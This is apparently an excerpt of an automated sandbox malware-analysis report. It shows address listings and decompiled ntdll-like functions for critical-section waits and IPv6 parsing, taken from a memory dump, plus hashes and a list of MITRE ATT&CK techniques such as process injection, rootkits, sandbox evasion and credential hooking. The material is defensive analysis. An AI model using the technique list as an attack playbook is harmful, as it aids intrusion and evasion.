0x00d722bc
0x00d722be
0x00d722c4
0x00d722cc
0x00d722d0
0x00d722d6
0x00d722d7
0x00d722da
0x00d722df
0x00d722e4
0x00000000
0x00000000
0x00d722e6
0x00d722e9
0x00d722f4
0x00d722f9
0x00d722fa
0x00d72305
0x00d72314
0x00d72319
0x00d7231a
0x00d7231d
0x00d72320
0x00d72323
0x00d72323
0x00d72328
0x00d7232d
0x00d7232f
0x00d72331
0x00d72336
0x00d72336
0x00d7233b
0x00d7233d
0x00d72350
0x00d72351
0x00d72356
0x00d72359
0x00d72359
0x00d7235b
0x00d7235d
0x00d35367
0x00d3536b
0x00d35372
0x00000000
0x00000000
0x00000000
0x00000000
0x00d72363
0x00d72363
0x00d72369
0x00d7236a
0x00d7236c
0x00d72371
0x00d72373
0x00000000
0x00d72379
0x00d72379
0x00d7237a
0x00d7237f
0x00d7237f
0x00d72385
0x00d72386
0x00d72389
0x00d7238e
0x00d72390
0x00d35378
0x00d3537c
0x00d72396
0x00d72396
0x00d72397
0x00d7239c
0x00d723a2
0x00d723a3
0x00d723a6
0x00d723ab
0x00d723ad
0x00000000
0x00d723b3
0x00d723b3
0x00d723b4
0x00d723b9
0x00d723ba
0x00d723ba
0x00d723bc
0x00d723bf
0x00000000
0x00000000
0x00d69153
0x00d69158
0x00d6915a
0x00d6915e
0x00d69160
0x00000000
0x00d69166
0x00d69166
0x00d69171
0x00d69176
0x00d69176
0x00000000
0x00d69160
0x00d723c6
0x00d723cb
0x00d723ce
0x00d723d7
0x00d723d7
0x00d723ad
0x00d72390
0x00d72373
0x00d7233f
0x00d7233f
0x00000000
0x00d7233f
0x00d72291
0x00d72291
0x00d72293
0x00d72295
0x00d7229a
0x00d722a1
0x00d722a3
0x00d722a7
0x00d722a9
0x00000000
0x00000000
0x00d722ab
0x00d722ad
0x00d722af
0x00000000
0x00000000
0x00000000
0x00d722af
0x00d722b1
0x00d722b4
0x00d722b4
0x00d722b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00d722b6
0x00d7228f
0x00000000
0x00d7226d
0x00d353cb
0x00d353ce
0x00d353d0
0x00d353d4
0x00d353d6
0x00000000
0x00d353d8
0x00d353e3
0x00d353ea
0x00d353ea
0x00d353d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D722F4

Strings

RTL: Re-Waiting, xrefs: 00D72328
RTL: Resource at %p, xrefs: 00D7230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00D722FC

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: bdc8a72ff89ff7cef8f06b891c2be154f1bc188fa2f2420528d1b71bc86a64cd
Instruction ID: 01def48f1edaa9160a43e0605a392b63ad0da85cc020cadfa9d7adaf1e4180c3
Opcode Fuzzy Hash: bdc8a72ff89ff7cef8f06b891c2be154f1bc188fa2f2420528d1b71bc86a64cd
Instruction Fuzzy Hash: C85105716007016BDF159B28DC81FA673A8EF58360F208229FD48DB286FA71ED458BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D3EC56, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00D3EC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E00D2DA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0xdf793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E00D116C0(_t39);
				} else {
					_t40 = E00D0F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E00D53915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E00D101A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0xdf793c; // 0x0
								_push(_t85);
								_t44 = E00D11F28(_t71);
							} else {
								_t44 = E00D0F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E00D53915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E00D92306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E00D3EC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E00D54FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E00D63F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E00D63F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0xdf20c0;
								if(_t85 != 0xdf20c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E00D9217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E00D63F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x00d3ec56
0x00d3ec56
0x00d3ec56
0x00d3ec5c
0x00d3ec64
0x00d723e6
0x00d723eb
0x00d723eb
0x00d3ec6a
0x00d3ec6c
0x00d3ec6f
0x00d723f3
0x00d723f8
0x00d723fa
0x00d723fc
0x00d3ec75
0x00d3ec76
0x00d3ec76
0x00d3ec7b
0x00d3ec7c
0x00d3ec7e
0x00d72406
0x00d72407
0x00d7240c
0x00d7240d
0x00d7240d
0x00d7240d
0x00d72414
0x00d72417
0x00d7241e
0x00d72435
0x00d72438
0x00d7243c
0x00d7243f
0x00d72442
0x00d72443
0x00d72446
0x00d72449
0x00d72453
0x00d72455
0x00d7245b
0x00d7245b
0x00d3eb99
0x00d3eb99
0x00d3eb9c
0x00d3eb9d
0x00d3eb9f
0x00d3eba2
0x00d72465
0x00d7246b
0x00d7246d
0x00d3eba8
0x00d3eba9
0x00d3eba9
0x00d3ebae
0x00d3ebb3
0x00d3ebb9
0x00d3ebbb
0x00d72513
0x00d72514
0x00d72519
0x00d7251b
0x00d3ec2a
0x00d3ec2d
0x00d3ec33
0x00d3ec36
0x00d3ec3a
0x00d3ec3e
0x00d3ec40
0x00d3ec47
0x00d3ec47
0x00d3ec40
0x00d122c6
0x00d3ebc1
0x00d3ebc1
0x00d3ebc5
0x00d3ec9a
0x00d3ec9a
0x00d3ebd6
0x00d3ebd6
0x00000000
0x00d3ebbb
0x00d72477
0x00d7247c
0x00d72486
0x00d7248b
0x00d72496
0x00d7249b
0x00d7249d
0x00d724a0
0x00d724a3
0x00d724aa
0x00d724aa
0x00d724a5
0x00d724a5
0x00d724a5
0x00d724ac
0x00d724af
0x00d724b0
0x00d724b3
0x00d724b9
0x00d724ba
0x00d724bb
0x00d724c6
0x00d724cb
0x00d724cd
0x00d724d0
0x00d724d1
0x00d724d4
0x00d724d6
0x00d724d9
0x00d724d9
0x00d724dc
0x00d724df
0x00d724e1
0x00d724e7
0x00d724e9
0x00d724ec
0x00d724ef
0x00d724f2
0x00d724f2
0x00d724ef
0x00d724e7
0x00d724fa
0x00d724ff
0x00d72501
0x00d72503
0x00d72506
0x00d7250b
0x00d3eb8c
0x00d3eb93
0x00000000
0x00000000
0x00d3eb93
0x00000000
0x00d3eb99
0x00d3ec85
0x00d3ec85
0x00d3ec85
0x00000000

Strings

RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 00D724BD
RTL: Re-Waiting, xrefs: 00D724FA
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 00D7248D

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 3826ebc0d784525f5778b33261d6a9463a42a2558cd1f949c9ae54f9b0a40eef
Instruction ID: e9f758dee2f79bd211757b1c4a953571d11831fb078ad27d8069aa8d2a0bbd49
Opcode Fuzzy Hash: 3826ebc0d784525f5778b33261d6a9463a42a2558cd1f949c9ae54f9b0a40eef
Instruction Fuzzy Hash: 2341D5B0A00244BFCB20DB68DC85FBA77A9EF44720F24C609F9599B2C1E774E9418B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D4FCC9, Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D4FCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E00D4EE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E00D4EE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E00D4685D(_t167, 4) == 0) {
								if(E00D4685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E00D4685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E00D4685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E00D28980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E00D1DFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E00D4EE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E00D4EE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x00d4fcd1
0x00d4fcd6
0x00d4fcd9
0x00d4fcdc
0x00d4fcdf
0x00d4fce2
0x00d4fce5
0x00d4fce8
0x00d4fceb
0x00d4fced
0x00d4fced
0x00d4fcf3
0x00000000
0x00000000
0x00d4fcfc
0x00d4fcfe
0x00d4fdc1
0x00d7ecbd
0x00000000
0x00d7eccc
0x00d7eccc
0x00d7ecd2
0x00000000
0x00000000
0x00d7ecdf
0x00d7ece0
0x00d7ece4
0x00d7eceb
0x00d7ecee
0x00d7eca8
0x00d7eca8
0x00d7ecaa
0x00d4fd76
0x00d4fd79
0x00d4fdb4
0x00d4fdb5
0x00d4fdb6
0x00000000
0x00d4fdb6
0x00d4fd7e
0x00d7ecfc
0x00d4fe2f
0x00000000
0x00d4fe2f
0x00d7ed08
0x00d7ed0f
0x00d7ed17
0x00d7ed1b
0x00000000
0x00d7ed1b
0x00d4fd88
0x00000000
0x00000000
0x00d4fd94
0x00d4fd99
0x00d4fda1
0x00000000
0x00000000
0x00d4fdb0
0x00000000
0x00d4fdb0
0x00d7ecbd
0x00d4fdc7
0x00d4fdcb
0x00000000
0x00d4fdd7
0x00d4fde3
0x00d4fe06
0x00d61fe7
0x00000000
0x00000000
0x00d61fef
0x00d61ff0
0x00d61ff4
0x00d61ff7
0x00d61ffa
0x00d61ffd
0x00d62000
0x00000000
0x00000000
0x00d7ecf1
0x00000000
0x00d7ecf1
0x00000000
0x00d4fe06
0x00d4fde8
0x00d4fdec
0x00d4fdef
0x00d4fdf2
0x00000000
0x00d4fdf2
0x00d4fdcb
0x00d4fd04
0x00d4fd05
0x00d7ec67
0x00000000
0x00000000
0x00d7ec6f
0x00000000
0x00d7ec6f
0x00d4fd13
0x00d4fd3c
0x00d4fd40
0x00d7ec75
0x00d7ec7a
0x00000000
0x00d7ec8a
0x00d7ec8a
0x00d7ec90
0x00d7ecb2
0x00d4fd73
0x00d4fd73
0x00000000
0x00d4fd73
0x00d7ec95
0x00000000
0x00000000
0x00d7eca1
0x00d7eca4
0x00d7eca5
0x00000000
0x00d7eca5
0x00d7ec7a
0x00d4fd4a
0x00000000
0x00d4fd6e
0x00d4fd6e
0x00d4fd71
0x00000000
0x00d4fd71
0x00d4fd4a
0x00d4fd21
0x00d5a3a1
0x00000000
0x00d5a3a1
0x00d4fd36
0x00d6200b
0x00d62012
0x00000000
0x00000000
0x00d62018
0x00000000
0x00d62018
0x00000000
0x00d4fd36
0x00d4fe0f
0x00d4fe16
0x00d5a3ad
0x00000000
0x00000000
0x00d5a3b3
0x00d5a3b3
0x00d4fe1f
0x00d7ed25
0x00d7ed86
0x00000000
0x00000000
0x00d7ed91
0x00d7ed95
0x00d7ed95
0x00d7ed9a
0x00d7edad
0x00d7edb3
0x00d7edba
0x00d7edc4
0x00d7edc9
0x00000000
0x00d7edcc
0x00d7ed2a
0x00d7ed55
0x00000000
0x00000000
0x00d7ed61
0x00d7ed66
0x00d7ed6e
0x00000000
0x00000000
0x00d7ed7d
0x00000000
0x00d7ed7d
0x00d7ed30
0x00000000
0x00000000
0x00d7ed3c
0x00d7ed43
0x00d7ed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 00D4FD94

Memory Dump Source

Source File: 00000007.00000002.2371620366.0000000000D00000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000007.00000002.2371612576.0000000000CF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371711929.0000000000DE0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371720656.0000000000DF0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371725944.0000000000DF4000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371733822.0000000000DF7000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371753179.0000000000E00000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2371816138.0000000000E60000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 8f6edce87845a478ae17a2c51f257c7f688ad6b5654cbc29479abf96c1635362
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 7E918E31D0021AEFDF24DF99C8456AEB7B4FF55315F28807AE445A71A2E7309A81CBB1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

